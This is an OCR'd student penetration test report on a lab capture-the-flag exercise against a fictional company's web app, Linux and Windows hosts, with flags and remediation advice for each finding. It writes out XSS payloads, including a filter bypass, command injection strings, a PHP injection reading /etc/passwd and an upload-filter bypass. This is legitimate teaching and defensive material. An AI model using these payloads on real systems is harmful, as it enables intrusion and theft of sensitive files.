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Confidentiality Statement

This document contains confidential and privileged information from Rekall Inc. (henceforth known
as Rekall). The information contained in this document is confidential and may constitute inside or
non-public information under international, federal, or state laws. Unauthorized forwarding, printing,
copying, distribution, or use of such information is strictly prohibited and may be unlawful. If you are
not the intended recipient, be aware that any disclosure, copying, or distribution of this document or
its parts is prohibited.
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Introduction

In accordance with Rekall policies, our organization conducts external and internal penetration tests
of its networks and systems throughout the year. The purpose of this engagement was to assess the
networks’ and systems’ security and identify potential security flaws by utilizing industry-accepted
testing methodology and best practices.

For the testing, we focused on the following:

e Attempting to determine what system-level vulnerabilities could be discovered and exploited
with no prior knowledge of the environment or notification to administrators.

e Attempting to exploit vulnerabilities found and access confidential information that may be
stored on systems.

e Documenting and reporting on all findings.

All tests took into consideration the actual business processes implemented by the systems and
their potential threats; therefore, the results of this assessment reflect a realistic picture of the actual
exposure levels to online hackers. This document contains the results of that assessment.

Assessment Objective

The primary goal of this assessment was to provide an analysis of security flaws present in Rekall’s
web applications, networks, and systems. This assessment was conducted to identify exploitable
vulnerabilities and provide actionable recommendations on how to remediate the vulnerabilities to

provide a greater level of security for the environment.

We used our proven vulnerability testing methodology to assess all relevant web applications,
networks, and systems in scope.

Rekall has outlined the following objectives:

Objective

Find and exfiltrate any sensitive information within the domain.

Escalate privileges.

Compromise several machines.
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Penetration Testing Methodology
Reconnaissance

We begin assessments by checking for any passive (open source) data that may assist the
assessors with their tasks. If internal, the assessment team will perform active recon using tools
such as Nmap and Bloodhound.

Identification of Vulnerabilities and Services

We use custom, private, and public tools such as Metasploit, hashcat, and Nmap to gain perspective
of the network security from a hacker’s point of view. These methods provide Rekall with an
understanding of the risks that threaten its information, and also the strengths and weaknesses of
the current controls protecting those systems. The results were achieved by mapping the network
architecture, identifying hosts and services, enumerating network and system-level vulnerabilities,
attempting to discover unexpected hosts within the environment, and eliminating false positives that
might have arisen from scanning.

Vulnerability Exploitation

Our normal process is to both manually test each identified vulnerability and use automated tools to
exploit these issues. Exploitation of a vulnerability is defined as any action we perform that gives us
unauthorized access to the system or the sensitive data.

Reporting

Once exploitation is completed and the assessors have completed their objectives, or have done

everything possible within the allotted time, the assessment team writes the report, which is the final
deliverable to the customer.
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Scope

Prior to any assessment activities, Rekall and the assessment team will identify targeted systems
with a defined range or list of network IP addresses. The assessment team will work directly with the
Rekall POC to determine which network ranges are in-scope for the scheduled assessment.

It is Rekall’s responsibility to ensure that IP addresses identified as in-scope are actually controlled
by Rekall and are hosted in Rekall-owned facilities (i.e., are not hosted by an external organization).
In-scope and excluded IP addresses and ranges are listed below.

IP Address/URL Description
172.22.117.0/24 Rekall’s internal domain, range and public
http://192.168.14.35 website
totalrekall.xyz
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Executive Summary of Findings
Grading Methodology

Each finding was classified according to its severity, reflecting the risk each such vulnerability may
pose to the business processes implemented by the application, based on the following criteria:

Critical: Immediate threat to key business processes.

High: Indirect threat to key business processes/threat to secondary business processes.
Medium: Indirect or partial threat to business processes.

Low: No direct threat exists; vulnerability may be leveraged with other vulnerabilities.

No threat; however, it is data that may be used in a future attack.

As the following grid shows, each threat is assessed in terms of both its potential impact on the
business and the likelihood of exploitation:

Critical

High

Exploitation Likelihood

Medium

Low

Informational

Informational Low Medium High Critical
Potential Impact
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Summary of Strengths

While the assessment team was successful in finding several vulnerabilities, the team also
recognized several strengths within Rekall’'s environment. These positives highlight the effective
countermeasures and defenses that successfully prevented, detected, or denied an attack technique
or tactic from occurring.

e Certain web application input fields were well protected against basic XSS exploits, requiring
more advanced techniques for successful exploitation.

e Basic protections were implemented in several areas, making it difficult for common attacks
like Local File Inclusion and XSS scripting to succeed.

e A number of input fields had effective input validation, enhancing the overall security posture.

Summary of Weaknesses

Across three distinct environments (web application, Linux server, and Windows server), numerous
critical vulnerabilities were identified that compromise confidentiality, integrity, and availability. Below
is a high-level summary of the weaknesses found:

Web Application:

e Multiple XSS vulnerabilities allowed execution of malicious scripts.

e Sensitive data exposure vulnerabilities exposed critical information, such as credentials
and other sensitive files.

e Local File Inclusion (LFI) and Advanced LFI permitted access to unauthorized directories
and files.

e SQL Injection and Command Injection vulnerabilities allowed arbitrary queries and
commands, revealing sensitive data and system files.

e Session Management Flaws and PHP Injection highlighted improper user session
handling and code execution risks.

e Directory Traversal exposed unauthorized file directories.

Linux Server:

e Open-source exposed data through WHOIS, DNS, and other public information services
revealed sensitive data.

e Nmap/Zenmap and Nessus scans uncovered open services and exploitable vulnerabilities.

e Apache Tomcat (CVE-2017-12617), Shellshock, and Struts (CVE-2017-5638)
vulnerabilities were exploited, showcasing improper patch management.

e Exploitation of SSH (CVE-2019-14287) and Drupal (CVE-2019-6340) highlighted weak
configurations in key services.

Windows Server:

e Credential exposure (via SAM, LSASS, and DCSync attacks) enabled unauthorized access
to privileged accounts.

e Open and misconfigured services such as HTTP, FTP, and SLMail allowed exploitation of
sensitive data.

e Sensitive data exposure and improper file permissions provided access to critical files.

e Scheduled Tasks and improper access control mechanisms allowed unauthorized
command execution and privilege escalation.

Each identified weakness requires prompt remediation to safeguard systems and prevent future
exploitation.

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 9
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Executive Summary

CKSS’s assessment targeted three distinct environments—a web application, a Linux server, and a
Windows server—to identify vulnerabilities and assess potential risks. The pen testing process
uncovered critical weaknesses across all systems, which could significantly compromise the security
of the infrastructure. Below is a summary of the assessment process and findings:

The engagement began with the web application, where initial reconnaissance and scanning
exposed a variety of vulnerabilities:

e Cross-Site Scripting (XSS) attacks were successfully executed, including reflected,
advanced reflected, and stored XSS, demonstrating the risk of malicious script execution.

e Sensitive data exposure vulnerabilities revealed critical information such as credentials and
configuration files.

e Local File Inclusion (LFI) and Advanced LFI, granted unauthorized access to system

directories.

SQL Injection attack provided access to backend databases.

Command Injection attacks allowed arbitrary commands to be executed on the server.

Session management flaws enabled unauthorized access to restricted areas.

Directory traversal attack revealed critical files.

PHP injection vulnerability further illustrated the potential for malicious code execution within

the application.

Next, the Linux server was assessed. Using open-source intelligence (OSINT), sensitive data such
as WHOIS information and DNS records were uncovered, providing a foundation for further
exploitation.

e Port scans using Nmap and Zenmap revealed active services and potential entry points.

e Apache Tomcat (CVE-2017-12617), Shellshock vulnerabilities, Struts (CVE-2017-5638) and
Drupal (CVE-2019-6340) were exploited to gain unauthorized access which allowed remote
code execution.

e A misconfigured SSH service (CVE-2019-14287) provided further opportunities for privilege
escalation.

These findings highlighted weak patch management and configuration practices, which pose
significant risks.

Finally, the Windows server assessment revealed critical vulnerabilities that allowed unauthorized
access and privilege escalation.

e Open and misconfigured services, including HTTP, FTP, and SLMail

e Using tools such as Metasploit, the SLMail service was exploited to gain SYSTEM-level
access.

e Credential exposure attacks leveraging cached credentials (SAM, LSASS, and DCSync)
enabled unauthorized access to administrator accounts.

e Sensitive data exposure and improper file permissions granted access to critical files

Remediation and Cost:
To address these issues, we recommend in the following order:

e Patch Management and Vulnerability Remediation: Apply the latest security patches for
all identified vulnerabilities and replace or update unsupported software.
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Web Application Security Hardening: Deploy a Web Application Firewall (WAF) to prevent
XSS, LFI, SQL Injection, and command injection attacks, and implement input validation
measures.

Implement Secure Configuration Standards: Securely configure SSH, FTP, and HTTP
services by disabling unused ports, enforcing strong authentication, and removing weak or
default credentials.

Credential Management: Disable credential caching, enforce strong password policies, and
audit permissions to prevent unauthorized access.

Data Protection and Encryption: Encrypt sensitive files and restrict access to authorized
users only, ensuring sensitive information is not publicly accessible.

Total Estimated Cost

Initial Remediation Efforts: ~$50,000-$100,000.
Annual Maintenance and Monitoring: ~$20,000-$50,000.

These steps, in combination, will significantly improve the security posture of the targeted systems
and reduce the risk of exploitation. Prioritizing critical vulnerabilities first ensures effective mitigation
with minimal delays.

Conclusion:

The current security posture of Rekall Corporation is concerning. Critical vulnerabilities across
multiple layers of the network expose the company to severe risk. Without immediate intervention,
the company is at risk of significant financial loss, data theft, and the potential takeover of its IT
infrastructure. The ease with which attackers can move laterally through the network further
emphasizes the lack of adequate defensive controls.
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Summary Vulnerability Overview

1
Reflected XSS - Flag 1: f76sdfkg6sjf Critical
Advance Reflected XSS - Flag 2: ksdnd99dkas Critical
Stored XSS - Flag 3: sd7fk1nctx Critical
Sensitive data exposure - Flag 4: nckd97dk6sh2 Critical
Local File Inclusion (LFI) - Flag 5: mmssdi73g Critical
Advanced Local File Inclusion (LFI) - Flag 6: Id8skd62hdd Critical
SQL Injection - Flag 7: bcs92sjsk233 Critical
Sensitive data exposure - Flag 8: 87fsdkf6djf Critical
Sensitive data exposure - Flag 9: dkkdudfkdy23 Critical
Command Injection - Flag 10: ksdnd99dkas Critical
Advance Command Injection - Flag 11: opshdkasy78s Critical
Brute force attack - Flag 12: hsk23oncsd Critical
PHP injection - Flag 13: jdka7sk23dd Critical
Session management - Flag 14: dks93jdIsd7d] Critical
Directory traversal - Flag 15: dksdf7sjd5sg Critical
Open source exposed data - Flag 1: h8s692hskasd High
Open Source Exposed Data - Flag 2: 34.102.136.180 High
Open-source exposed data - Flag 3: s7euwehd High
Nmap/Zenmap Scan Results- Flag 4: 5 Low
Nmap/Zenmap Scan Results - Flag 5: 192.168.13.13 Low
Nessus scan results - Flag 6: 97610 Medium

Apache Tomcat Remote Code Execution Vulnerability (CVE-2017-12617) - Flag

7: 8ksbsbhss Critical
Shellshock - Flag 8: 9dnx5shdf5 Critical
Suspicious User Name - Flag 9: wudks8f7sd Critical
Struts - CVE-2017-5638 - Flag 10: wjasdufsdkg Critical
Drupal - CVE-2019-6340 - Flag 11: www-data Critical
SSH - Vulnerability CVE-2019-14287- Flag 12: d7sdfksdf384 Critical
Open source exposed data - Flag 1: Tanyadlife Critical

Nmap Scan - HTTP Port Open - Flag 2: d7b349705784a518bc876bc2ed6d4f6 Critical
Nmap Scan - FTP Port Open - Flag 3: 89cb548970d44f348bb63622353ae278 Critical
Nmap Scan -SLMail service - Flag 4: 822e3434a10440ad9cc086197819b49d Critical
Scheduled Tasks - Flag 5: 54fa8cd5¢1354adc9214969d71667 3f5 Critical
SAM Credential Exposure - Flag 6: Computer! Critical

Sensitive Data Exposure - Flag 7 Critical

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 12
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LSASS Credential Caching Vulnerability - Flag 8: ad12fc2ffc1e47 Critical

Insecure File Permissions / Improper Access Control - Flag 9:
f7356e02f44c4fe7bf5374ff9bcbf872

DCSync - Flag 10: 4f0cfd309a1965906fd2ec39dd23d582 Critical

Critical

The following summary tables represent an overview of the assessment findings for this penetration
test:

Web app: 192.168.14.35
Linux: 192.168.13.10, 192.168.13.11,
192.168.13.12, 192.168.13.13,

Hosts 192.168.13.14
Windows 10: 172.22.117.20
WinDC10: 172.22.117.10
Using Nmap, we scanned 1,000 TCP ports
on the target hosts. Multiple open ports
Ports were identified. Vulnerabilities were found
on port 21, 80 and 110 as listed in the
report below.
| Exploitation Risk
Critical 31
3
Medium 1
Low 2
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Vulnerability Findings - Day 1 - Web App

Flag 1 Findings

Title Reflected XSS - Flag 1: f76sdfkg6sjf

Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Critical

Inserted a basic JavaScprit alert payload into the “Put Your Name Here” field.

Description Exploit script used: <script>alert("test")</script>
Welcome to VR Planning
On the next page you will be designing your perfect, unique
virtual reality experience!
Begin by entering your name below!
Put your name here
Welcome !
Click the link below to start the next step
in your choosing your VR experience!
CONGRATS, FLAG 1 is

Images f76sdfkg6sjf

Affected Hosts | 192.168.14.35/Welcome.php
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e Implement input validation and sanitize user inputs to reject or escape
special characters like <, >, and ".

e Use output encoding (e.g., HTML encoding) to safely display user input
on the webpage.

Flag 2 Findings

Remediation

Title Advance Reflected XSS - Flag 2: ksdnd99dkas
Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Critical

Inserted a XSS injection with a modified payload, masking the script tags in
Description order to bypass the input validation. Script used:
<SCRIPscriptT>alert(“pop")</SCRIPscripTt>

Images

REKALL CORPORATION
YAAS
8

=) v

Secret Agent F-ive Star Chef Pop Star

Who do you want to be?

Jerocse your caracrner_J G0
You have chosen , great choice!

Affected Hosts | 192.168.14.35/Memory-planner.php

e Use server-side validation to strictly filter out dangerous characters and
patterns, including variations of <script> tags (e.g., <scripT> or
similar obfuscations).

e Apply proper output encoding (e.g., HTML encoding) to all

Remediation

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 15
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user-supplied data before displaying it on the webpage.

Flag 3 Findings

Title Stored XSS - Flag 3: sd7fk1nctx
Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Critical
Executed an XSS injection on the comments . php page of the TotalRekall

Description website, successfully triggering a JavaScript alert. Script used:
<script>alert("test1")</script>

Images

Please leave your
comments on our website!

CONGRATS, FLAG 3 is sd7fk1nctx

.

Submit| Add:® Showal:@ Delete: @

# Owner  Date Entry

1 bee

Affected Hosts

192.168.14.35/comments.php

Remediation

Validate and sanitize all user inputs on the comments.php page to
prevent the inclusion of malicious scripts. Reject or escape characters
suchas <, >, and"

Apply proper output encoding (e.g., HTML encoding) to ensure
user-submitted content is safely displayed as text, not executed as
code.

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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Flag 4 Findings

Title Sensitive data exposure - Flag 4: nckd97dk6sh2
Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Critical
Using the curl command | was able to view the HTTP response headers. This

Description exposed sensitive data (flag 4). Command: curl -v
http://192.168.14.35/About-Rekall.php

Images

Affected Hosts

192.168.14.35/About-Rekall.php

Remediation

e Ensure no sensitive information is included in HTTP response headers.
Review and sanitize headers before sending them to the client.

e Serve all pages over HTTPS to encrypt traffic and prevent sensitive
data from being exposed in transit.

Flag 5 Findings

Title Local File Inclusion (LFI) - Flag 5: mmssdi73g
Type (Web app / | Web app
Linux OS /
Windows OS)
Risk Rating Critical
o Created a php file with a malicious script and was able to upload it to the
Description

memory planner (second field) section of the site.

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 17
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Images

c @

Exploit-DB @ Nessus

REKALL CORPORATION

Please upload an image:

No file selected.
Upload Your File!

Your image has been uploaded here.Congrats, flag 5 is mmssdi73g

root@kali: ~/Documents

File Actions Edit View Help

upload.php. jpg

Affected Hosts

192.168.14.35/memory-planner.php

Remediation

e Allow only specific, safe file types (e.g., . jpg, .png, .pdf) for upload.

Reject executable file types like .php, .exe,and . js.

Flag 6 Findings

Title Advanced Local File Inclusion (LFI) - Flag 6: Id8skd62hdd
Type (Web app / | Web app
Linux OS /
Windows OS)
Risk Rating Critical
Created a php file with a malicious script and was able to upload it as a jpg to
Description the memory planner (third field) section of the site. As the input validation

checks for the presence of .jpg, | added jpg to the file name.

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 18
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VR Planner

Upload Your File!

Your image has been uploaded here.Congrats, flag 6 is |d8skd62hdd

Images

root@kali: ~/Documents

upload.php.jpg

Affected Hosts | 192.168.14.35/memory-planner.php

e Allow only specific, safe file types (e.g., . jpg, .png, .pdf) for upload.
Reject executable file types like .php, .exe,and . js

Remediation e Check the actual content of the uploaded file to ensure it matches the

declared file type. This prevents attackers from disguising malicious

files with safe extensions.

Flag 7 Findings

Title SQL Injection - Flag 7: bcs92sjsk233

Type (Web app / | Web app
Linux OS/
Windows OS)

Risk Rating Critical

A SQL Injection (SQLi) vulnerability was identified on the 'Login' page. By
Description exploiting this vulnerability with the username retrieved from a directory
traversal attack, the seventh flag was exposed.

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 19
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REKALL
CORPORATION

Images

User Login
Please login with your user credentials!

Lﬁin:

Password:

Congrats, flag 7 is bcs92sjsk233

Affected Hosts | 192.168.14.35/login.php (second field)

e \Validate and sanitize all user inputs to ensure they conform to the
expected format (e.g., alphanumeric characters only for usernames
and passwords). Avoid directly inserting user input into SQL queries.

e Disable detailed error messages that reveal SQL query structures or
database information. Use generic error messages instead to prevent
attackers from gaining insights into the backend

Remediation

Flag 8 Findings

Title Sensitive data exposure - Flag 8: 87fsdkf6djf
Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Critical

Used the developer tools to view the HTML of the login page where sensitive
Description information was viewable in plaintext. Tags containing the admin credentials
“dougquaid;kuato”. Using these credentials we were able to successfully log

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 20



Rekall Corp Penetration Test Report

into the admin page and view networking.php page

REKALL CORPORATION

Admin Login
Enter your Administrator credentials!

Login:

Images

REKALL CORPORATION

Admin Login
Enter your Administrator credentials!
Login:
dougquaid

Password:

00000

Login

Affected Hosts | 192.168.14.35/login.php

e Immediately remove plain text credentials from the HTML source code
and ensure that credentials are not hardcoded into the page or
exposed in the DOM

e Implement secure authentication mechanisms, such as two-factor

Remediation authentication (2FA), and ensure that user credentials are stored
securely, not exposed in plain text

e Ensure sensitive information is not accessible through developer tools,
such as by not rendering it in JavaScript variables or the HTML
markup. Review and sanitize the code before deployment

Findings

Title Sensitive data exposure - Flag 9: dkkdudfkdy23

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 21
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Type (Web app / | Web app
Linux OS /
Windows OS)
Risk Rating Critical

Using a directory traversal attack, | was able to access robots.txt which was

Description . . "
P publicly available and exposed sensitive data.
& C o © /& 1921681435
#- Exploit-DB @ Nessus
User-agent: GoodBot
Disallow:
User-agent: BadBot
Disallow: /
Images User-agent: *

Disallow:
Disallow:
Disallow:
Disallow:
Disallow:

/admin/
/documents/
/images/
/souvenirs.php/
flag9:dkkdudfkdy23

Affected Hosts

192.168.14.35/robots.txt

Remediation

e Implement strict access controls to prevent unauthorized access to
sensitive files and directories.

e Restrict access to critical files, such as robots. txt, ensuring only
authorized users can view them

Flag 10 Findings

Title Command Injection - Flag 10: ksdnd99dkas
Type (Web app / | Web app
Linux OS /
Windows OS)
Risk Rating Critical

Description

On the second field of the network page, | was able to execute a command
injection attack, revealing sensitive information. Command:
www.welcometorecall.com ; cat vendors.txt

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 22
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Images

Firewalls: barracuda CLOULD: aws Load balancers: F5

Congrats, flag 10 is ksdnd99dkas

Affected Hosts | 192.168.14.35/networking.php

e Validate and sanitize all user inputs to ensure they only contain
expected data. Reject special characters like ;, |, and & that can be
used to chain commands.

e Use secure methods, such as parameterized commands or escaping
input, to prevent user input from being directly interpreted as part of a
system command.

Remediation

Flag 11 Findings

Title Advance Command Injection - Flag 11: opshdkasy78s
Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Critical

An advanced command injection payload was successfully executed on the
'Networking' page, second field. Since the input validation filtered & and ;, the
payload was modified to www.example.com | cat vendors.txt to
bypass the restrictions and retrieve sensitive data

Description

Images

SIEM: splunk Firewalls: barracuda CLOUD: aws Load balancers: F5

z 11 is opshdkas

Affected Hosts | 192.168.14.35/networking.php
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Enforce Strict Input Validation to ensure they match expected formats and
Remediation reject characters used for chaining commands, such as | and &&.

Flag 12 Findings

Title Brute force attack - Flag 12: hsk23oncsd
Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Critical

A brute force attack was conducted on the 'Login' page using Burp Intruder
Description with a list of simple password payloads. This successfully revealed the
credentials melina:melina, uncovering the twelfth flag.

Password:

Login

Images

Affected Hosts | 192.168.14.35/login.php

e Temporarily lock accounts after a defined number of failed login
attempts to prevent automated brute force attacks.

e Require users to create strong, complex passwords and implement
rate-limiting on login attempts to reduce brute force attack feasibility.

Flag 13 Findings

Remediation

Title PHP injection - Flag 13: jdka7sk23dd
Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Critical

A hidden web page was discovered through the robots. txt file, identified as
Flag 9. Exploiting a PHP injection vulnerability on the 'Souvenirs' page by
modifying the URL and using the payload ;system('cat /etc/passwd")
successfully revealed the thirteenth flag

Description

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 24
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REKALL
CORPORATI
ON

Images

Congrats, flag 13 is jdxa7sk23dd

Affected Hosts | 192.168.14.35/souvenirs.php

e Disable risky PHP functions such as system( ), exec(), and
shell_exec( ) to prevent arbitrary command execution through user
input

e Implement strict input validation and sanitization to ensure only
expected input values are accepted, rejecting special characters like ;,
|, and () that can be used to execute commands.

Flag 14 Findings

Remediation

Title Session management - Flag 14: dks93jdIsd7dj
Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating Critical

A session management vulnerability was exploited on the
admin_legal_data.php page using the Burp Intruder tool to brute force
session IDs. The page link was revealed after acquiring Flag 12. By testing
various session IDs in the URL with Burp Intruder, the secret session ID 87
was identified, granting access to the flag at
http://192.168.13.35/admin_legal_data.php?admin=87.

Description
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REKALL CORPORATION

Images

Admin Legal Documents -
Restricted Area

Welcome Admin...

Affected Hosts | 192.168.14.35/admin_legal_data.php

e Use Secure, Random Session IDs using a cryptographically secure
method to ensure they are unpredictable and resistant to brute force
attacks.

e Restrict the number of requests per IP or user within a specific time
frame and monitor session activities to detect and block brute force

Remediation

attempts.
Flag 15 Findings
Title Directory traversal - Flag 15: dksdf7sjd5sg
Type (Web app / | Web app
Linux OS /
Windows OS)

Risk Rating High

The hint on the page indicates it refers to the "new" disclaimer. By exploiting
the vulnerability from Flag 10 or Flag 11, the 1s command was used to reveal
the old_disclaimers directory. Using this information, the URL was
modified to
http://192.168.13.35/disclaimer.php?page=0ld_disclaimers/d
isclaimer_1.txt to access the older version of the disclaimer. The
resource was changed from disclaimer_2.txt to disclaimer_1.txt to
retrieve the desired file.

Description
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REKALL CORPORATION

Images

"New" Rekall Disclaimer

Affected Hosts | 192.168.14.35/Disclaimer.php

e Use a whitelist to allow only predefined, valid file paths and reject any

Remediation user input attempting to reference unauthorized directories or files.

Vulnerability Findings - Day 2 - Linux

Flag 1 Findings

Title Open source exposed data - Flag 1: h8s692hskasd
Type (Web app / | Linux
Linux OS /
Windows OS)

Risk Rating High

Description Was able to access sensitive data using open source data source, WHOIS.
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Images

domain of IP address  TOTALREKALL.XYZ

3 domain whois record

DNS records traceroute
netwaork whois record service scan LN ]
zer: anorymous |4
45 wnits
ag in | account inf sl s s

To obtain Whois data redacted because of the GDPR or privacy services,
iry ICANN'S RDRS. [mare information]

Address lookup
canonical name totalrekall .X)’?,
aliases

addresses 13.248.243.5
76.223.105.230

Domain Whois record
Queried whos.nic.xyz Kith “TOTALREKALLXYZ ...

t-DB @ Nessus

Tech Emall: Please query the RODS service of the Reglstrar of Record ldentified 1n this output Tor 1mTormsa
Mame Server: NS51.DOMAINCONTROL.COM

Mame Server: NS52.DOMAINCONTROL.COM

DNSSEC: unsigned

B1lling Emaill: Please query the RDDS service of the Registrar of Record ldentified 1n this output Tor 1info
Registrar Abuse Contact Emall: abuse@godaddy.com

Registrar Abuse Contact Phone: +1.4885858300

URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icanm.org/wicf/

==> Last update of WHDIS database: 2024-12-16T08:89:15.8Z <<<

Queried whois.godaddy.com with "TOTALREKALL XY2Z".

Domain Name: totalrekall.xyz
Registry Domain ID: D2731B9417-CHIC
Registrar WHOIS Serwver: whois.godaddy.com
Registrar URL: https://www.godaddy.com
Updated Date: 2024-02-83T15:15:56Z
Creation Date: 2822-82-82T19:16:16Z
Registrar Registration Expiration Date: 2025-82-82T23:59:50Z
Registrar: GoDaddy.com, LLC
Reglstrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: +1.4886242585
Domain Status: clientTransferProhibited https://icann.org/eppéclientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateFrohibited
Domain Status: clientRenewProhibited https://icann.orgfepp#clientRenewProhibited
Domain Status: clientDeleteProhibited https://icann.org/eppi#clientDeleteProhibited
Registry Registrant ID: CR534580189
Reglstrant Name: sshUser alice
Regilstrant Organization:
Registrant Street: h8s692hskasd JEIT
Registrant City: Atlanta
Reglstrant States/Province: Georgla
Registrant Postal Code: 30389 |3
Registrant Country: US
Registrant Phone: +1.77822299890
Regilstrant Phone ExT:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: jlow§2u.com
Reglstry Tech ID: CR534589118
Tech Name: sshUser alice
Tech Organization:
Tech Street: h8s602hskasd JFER1
Tech City: Atlanta
Tech State/Province: Georgla
Tech Postal Code: 38300
Tech Country: US
Tech Phone: +1,7702229999
Tech Phone Ext:
S Tech Fax:
Tech Fax Ext:
Tech Email: ]low@2u.com
Name Server: MS51.DOMAINCONTROL.COM
Mame Server: NS52.DOMAINCONTROL.COM
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: hitp://wdprs.internic.nets
==> Last update of WHOIS database: 2824-12-16T@8:89:157 <<<

~gng -~

Affected Hosts

totalrekall.xyz

Remediation

Regularly audit and minimize the amount of sensitive information exposed in
publicly accessible data sources, including domain registrations and public
records.
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Flag 2 Findings

Title Open Source Exposed Data - Flag 2: 34.102.136.180

Type (Web app / | Linux
Linux OS /
Windows OS)

Risk Rating High

Used the ping command to find the IP address of totalrekall.xyz. Please note
Description the IP address has changed since the CTF was originally created so the IP
address does not match the solution.

S c @

Exploit-DB @ Nessus

UMCUNCNR

All Tools DNS Lookup Public DNS List

DNS CHECK

totalrekallxyz A~ ‘

a + B coriag _Retresh 20 sec

B san Francisco CA, United States
OpendNS

Images IS vountin view ca Uned sates

BE gerkeley, Us
= yirginia, United States

B ynited States
CenturyLink

Affected Hosts | totalrekall.xyz

Regularly audit and minimize the amount of sensitive information exposed in
Remediation publicly accessible data sources, including domain registrations and public
records.

Flag 3 Findings

Title Open-source exposed data - Flag 3: s7euwehd

Type (Web app / | Linux
Linux OS /
Windows OS)

Risk Rating High

Used crt.sh to search for totalrekall.xyz wan was able to view sensitive

Description information
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Images

€ Cc @

Exploit-DB @ Nessus

Ba

Criteria Type: Identity Match: ILIKE Search: ‘totalrekall.xyz
Certificates crishiD  Logged At ? NotBefore NotAfter Common Name Matching identities Issuer Name
N 15147473758 2024-10-30 2024-10-30 2025-01-28 totakrekall xyz totalrekal xyz C=US, ST=Arizona. L=Scottsdale. 0="GoDaddy.com. Inc. OU=hitp //certs.godaddy.com

www totalrekallxyz
totalrekall xyz
www totalrekall xyz
totalrekall xyz
www totalrekall xyz

13112116776 20240520 2024-05-20 2025-05-20 totalrekall.xyz C=Us, ST=Arizona. L =Scottsdale. O="GoDaddy.com. Inc.". OU=http //certs.godaddy. com

C=US, ST=Arizona, L=Scottsdale, 0= Inc, QU=http //certs godadd

13112112288 20240520 20240520 2025-05-20 totakrekall.xyz

9436388643 2023-05-20 20230520 2024-05-20 www.otalrekall.xyz wwmtotalrekallxyz C=US, ST=Arizona, L=Scottsdale, O="GoDaddy.com, Inc.’, OU=http //certs.godaddy.com
9424423941 2023-05-18 2023-05-18 2024-05-18 totalrekall.xyz totalrekall xyz C=Us, ST=Arizona. L=Scottsdale. O="GoDaddy.com. Inc.", OU=http.//certs.godaddy.com
6095738637 2 2 -+ FE-s7euweNd.totalrekall xyz [[RE-s7euwehd. totalrekall.xyz C=AT, O=ZeroSSL CN=Zer

S\ RSA Domain Secure Site CA
6095738716 503 [JERE s7euwend totairekal xyz [[ERE-7euwehd totalrekall xyz C=AT O=ZeroSSL_CN=ZeroSSL RSA Domain Secure Site CA

T

6095204253 2 2022.02.02 2022-05-03 totalrekall.xyz totalrekall xyz C=AT, 0=ZeroSSL. CN=ZeroSSI RSA Domain Secure Site CA
www totalrekall xyz
6095204153 2 20220202 2022-05-03 totalrekall.xyz totalrekall.xyz C=AT, 0=ZeroSSL. CN=Zero§SL. RSA Domain Secure Site CA

www.totalrekall.xyz

Affected Hosts

totalrekall.xyz

Remediation

Regularly audit and minimize the amount of sensitive information exposed in
publicly accessible data sources

Findings

Title

Nmap/Zenmap Scan Results- Flag 4: 5

Type (Web app /
Linux OS /
Windows OS)

Linux

Risk Rating

Low

Description

Used zenmap to determine the number of open host, excluding the host |
scanned form

Images

Cancel

Command: nmap -

H S A y etails Scans

0s Host

T al6eG65f4208832 Slarting Nmap

H# Loaded 155

ipt Pre

[@https://nmap.orofEEIN?624-12-16 03:47 ES

nning

Initiating NSE at 83:47

Completed 3:47, 0.80s elapsed
Initiati 7
Completed
Initiating ARP Ping
scann 255 hosts [

n at '
Initiating Parallel DNS resolutio
Completed Parallel DNS resolution
Nmap
Nmap
Nmap N rep - .18, down]

down]
down]
down]
down]
down]

LLET] report
Nmap report f
Nmap report f
Nmap report
Nmap n report 192.168.13.8
Nmap =port 192.168.13.9 t down]
Nmap 1 ort 192.168.13. down]
Filter Ho Nmap n 192.168.13. 16JUIERSELIL)|

a192.168.13.
192.168.13.6
192.168.13.
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iy R

L1}
w
L1
L1}
i
m

PR RERE]

Affected Hosts | totalrekall.xyz19

e Segment the network to isolate sensitive hosts and services. Use
firewalls to restrict access and limit unnecessary network exposure
records.

e Configure Firewall Rules to block discovery protocols that allow tools
like Nmap to enumerate hosts. Ensure only necessary ports and
services are exposed externally.

Remediation

Flag 5 Findings

Title Nmap/Zenmap Scan Results - Flag 5: 192.168.13.13
Type (Web app / | Linux
Linux OS /
Windows OS)

Risk Rating Low

Ran an aggressive zenmap scan and analyzed the results to determine the

Description host that runs Drupal

Images
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Affected Hosts

192.168.13.13

Remediation

e Limit Nmap Scan Responses with Firewalls to block unsolicited probes
like those from an aggressive Nmap scan, restricting the visibility of
services and system details.

e Disable or Secure Unnecessary Services to ensure that only
necessary services (like Drupal) are running and accessible.

Flag 6 Findings

Title Nessus scan results - Flag 6: 97610
Type (Web app / | Linux
Linux OS /
Windows OS)
Risk Rating Medium
Description Ran a Nessus Scan for 192.168.13.12. There was one critical vulnerability
P displayed with the ID 97610,
Images

Affected Hosts

192.168.13.12

Remediation

e Upgrade Apache Struts to the latest version based on the host's
